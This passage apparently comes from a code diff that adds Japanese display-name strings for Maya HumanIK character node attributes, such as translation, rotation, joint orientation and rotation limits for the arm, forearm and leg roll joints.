+setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MinRLimitEnablez", "右腕ロール 4 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MaxRLimitEnablex", "右腕ロール 4 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MaxRLimitEnabley", "右腕ロール 4 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll4MaxRLimitEnablez", "右腕ロール 4 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4", "右前腕ロール 4 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4T", "右前腕ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4Tx", "右前腕ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4Ty", "右前腕ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4Tz", "右前腕ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4R", "右前腕ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4Rx", "右前腕ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4Ry", "右前腕ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4Rz", "右前腕ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4S", "右前腕ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4Sx", "右前腕ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4Sy", "右前腕ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4Sz", "右前腕ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateOrder", "右前腕ロール 4 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateAxis", "右前腕ロール 4 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateAxisx", "右前腕ロール 4 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateAxisy", "右前腕ロール 4 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateAxisz", "右前腕ロール 4 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4JointOrient", "右前腕ロール 4 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4JointOrientx", "右前腕ロール 4 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4JointOrienty", "右前腕ロール 4 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4JointOrientz", "右前腕ロール 4 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MinRLimit", "右前腕ロール 4 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MinRLimitx", "右前腕ロール 4 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MinRLimity", "右前腕ロール 4 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MinRLimitz", "右前腕ロール 4 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MaxRLimit", "右前腕ロール 4 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MaxRLimitx", "右前腕ロール 4 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MaxRLimity", "右前腕ロール 4 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MaxRLimitz", "右前腕ロール 4 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MinRLimitEnablex", "右前腕ロール 4 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MinRLimitEnabley", "右前腕ロール 4 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MinRLimitEnablez", "右前腕ロール 4 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MaxRLimitEnablex", "右前腕ロール 4 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MaxRLimitEnabley", "右前腕ロール 4 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MaxRLimitEnablez", "右前腕ロール 4 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5", "左大腿部ロール 5 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5T", "左大腿部ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5Tx", "左大腿部ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5Ty", "左大腿部ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5Tz", "左大腿部ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5R", "左大腿部ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5Rx", "左大腿部ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5Ry", "左大腿部ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5Rz", "左大腿部ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5S", "左大腿部ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5Sx", "左大腿部ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5Sy", "左大腿部ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5Sz", "左大腿部ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateOrder", "左大腿部ロール 5 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateAxis", "左大腿部ロール 5 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateAxisx", "左大腿部ロール 5 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateAxisy", "左大腿部ロール 5 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateAxisz", "左大腿部ロール 5 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5JointOrient", "左大腿部ロール 5 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5JointOrientx", "左大腿部ロール 5 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5JointOrienty", "左大腿部ロール 5 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5JointOrientz", "左大腿部ロール 5 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MinRLimit", "左大腿部ロール 5 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MinRLimitx", "左大腿部ロール 5 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MinRLimity", "左大腿部ロール 5 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MinRLimitz", "左大腿部ロール 5 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MaxRLimit", "左大腿部ロール 5 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MaxRLimitx", "左大腿部ロール 5 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MaxRLimity", "左大腿部ロール 5 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MaxRLimitz", "左大腿部ロール 5 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MinRLimitEnablex", "左大腿部ロール 5 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MinRLimitEnabley", "左大腿部ロール 5 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MinRLimitEnablez", "左大腿部ロール 5 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MaxRLimitEnablex", "左大腿部ロール 5 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MaxRLimitEnabley", "左大腿部ロール 5 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MaxRLimitEnablez", "左大腿部ロール 5 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5", "左脚ロール 5 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5T", "左脚ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5Tx", "左脚ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5Ty", "左脚ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5Tz", "左脚ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5R", "左脚ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5Rx", "左脚ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5Ry", "左脚ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5Rz", "左脚ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5S", "左脚ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5Sx", "左脚ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5Sy", "左脚ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5Sz", "左脚ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateOrder", "左脚ロール 5 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateAxis", "左脚ロール 5 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateAxisx", "左脚ロール 5 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateAxisy", "左脚ロール 5 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateAxisz", "左脚ロール 5 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5JointOrient", "左脚ロール 5 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5JointOrientx", "左脚ロール 5 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5JointOrienty", "左脚ロール 5 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5JointOrientz", "左脚ロール 5 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MinRLimit", "左脚ロール 5 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MinRLimitx", "左脚ロール 5 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MinRLimity", "左脚ロール 5 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MinRLimitz", "左脚ロール 5 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MaxRLimit", "左脚ロール 5 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MaxRLimitx", "左脚ロール 5 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MaxRLimity", "左脚ロール 5 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MaxRLimitz", "左脚ロール 5 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MinRLimitEnablex", "左脚ロール 5 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MinRLimitEnabley", "左脚ロール 5 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MinRLimitEnablez", "左脚ロール 5 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MaxRLimitEnablex", "左脚ロール 5 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MaxRLimitEnabley", "左脚ロール 5 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MaxRLimitEnablez", "左脚ロール 5 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5", "右大腿部ロール 5 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5T", "右大腿部ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5Tx", "右大腿部ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5Ty", "右大腿部ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5Tz", "右大腿部ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5R", "右大腿部ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5Rx", "右大腿部ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5Ry", "右大腿部ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5Rz", "右大腿部ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5S", "右大腿部ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5Sx", "右大腿部ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5Sy", "右大腿部ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5Sz", "右大腿部ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateOrder", "右大腿部ロール 5 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateAxis", "右大腿部ロール 5 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateAxisx", "右大腿部ロール 5 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateAxisy", "右大腿部ロール 5 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateAxisz", "右大腿部ロール 5 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5JointOrient", "右大腿部ロール 5 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5JointOrientx", "右大腿部ロール 5 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5JointOrienty", "右大腿部ロール 5 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5JointOrientz", "右大腿部ロール 5 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MinRLimit", "右大腿部ロール 5 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MinRLimitx", "右大腿部ロール 5 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MinRLimity", "右大腿部ロール 5 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MinRLimitz", "右大腿部ロール 5 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MaxRLimit", "右大腿部ロール 5 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MaxRLimitx", "右大腿部ロール 5 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MaxRLimity", "右大腿部ロール 5 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MaxRLimitz", "右大腿部ロール 5 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MinRLimitEnablex", "右大腿部ロール 5 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MinRLimitEnabley", "右大腿部ロール 5 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MinRLimitEnablez", "右大腿部ロール 5 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MaxRLimitEnablex", "右大腿部ロール 5 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MaxRLimitEnabley", "右大腿部ロール 5 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MaxRLimitEnablez", "右大腿部ロール 5 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5", "右脚ロール 5 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5T", "右脚ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5Tx", "右脚ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5Ty", "右脚ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5Tz", "右脚ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5R", "右脚ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5Rx", "右脚ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5Ry", "右脚ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5Rz", "右脚ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5S", "右脚ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5Sx", "右脚ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5Sy", "右脚ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5Sz", "右脚ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5RotateOrder", "右脚ロール 5 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5RotateAxis", "右脚ロール 5 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5RotateAxisx", "右脚ロール 5 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5RotateAxisy", "右脚ロール 5 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5RotateAxisz", "右脚ロール 5 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5JointOrient", "右脚ロール 5 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5JointOrientx", "右脚ロール 5 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5JointOrienty", "右脚ロール 5 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5JointOrientz", "右脚ロール 5 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MinRLimit", "右脚ロール 5 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MinRLimitx", "右脚ロール 5 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MinRLimity", "右脚ロール 5 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MinRLimitz", "右脚ロール 5 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MaxRLimit", "右脚ロール 5 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MaxRLimitx", "右脚ロール 5 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MaxRLimity", "右脚ロール 5 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MaxRLimitz", "右脚ロール 5 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MinRLimitEnablex", "右脚ロール 5 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MinRLimitEnabley", "右脚ロール 5 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MinRLimitEnablez", "右脚ロール 5 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MaxRLimitEnablex", "右脚ロール 5 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MaxRLimitEnabley", "右脚ロール 5 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MaxRLimitEnablez", "右脚ロール 5 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5", "左腕ロール 5 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5T", "左腕ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5Tx", "左腕ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5Ty", "左腕ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5Tz", "左腕ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5R", "左腕ロール 5R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5Rx", "左腕ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5Ry", "左腕ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5Rz", "左腕ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5S", "左腕ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5Sx", "左腕ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5Sy", "左腕ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5Sz", "左腕ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateOrder", "左腕ロール 5 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateAxis", "左腕ロール 5 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateAxisx", "左腕ロール 5 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateAxisy", "左腕ロール 5 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateAxisz", "左腕ロール 5 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5JointOrient", "左腕ロール 5 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5JointOrientx", "左腕ロール 5 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5JointOrienty", "左腕ロール 5 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5JointOrientz", "左腕ロール 5 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MinRLimit", "左腕ロール 5 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MinRLimitx", "左腕ロール 5 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MinRLimity", "左腕ロール 5 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MinRLimitz", "左腕ロール 5 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MaxRLimit", "左腕ロール 5 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MaxRLimitx", "左腕ロール 5 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MaxRLimity", "左腕ロール 5 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MaxRLimitz", "左腕ロール 5 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MinRLimitEnablex", "左腕ロール 5 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MinRLimitEnabley", "左腕ロール 5 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MinRLimitEnablez", "左腕ロール 5 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MaxRLimitEnablex", "左腕ロール 5 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MaxRLimitEnabley", "左腕ロール 5 の最大回転値 Y 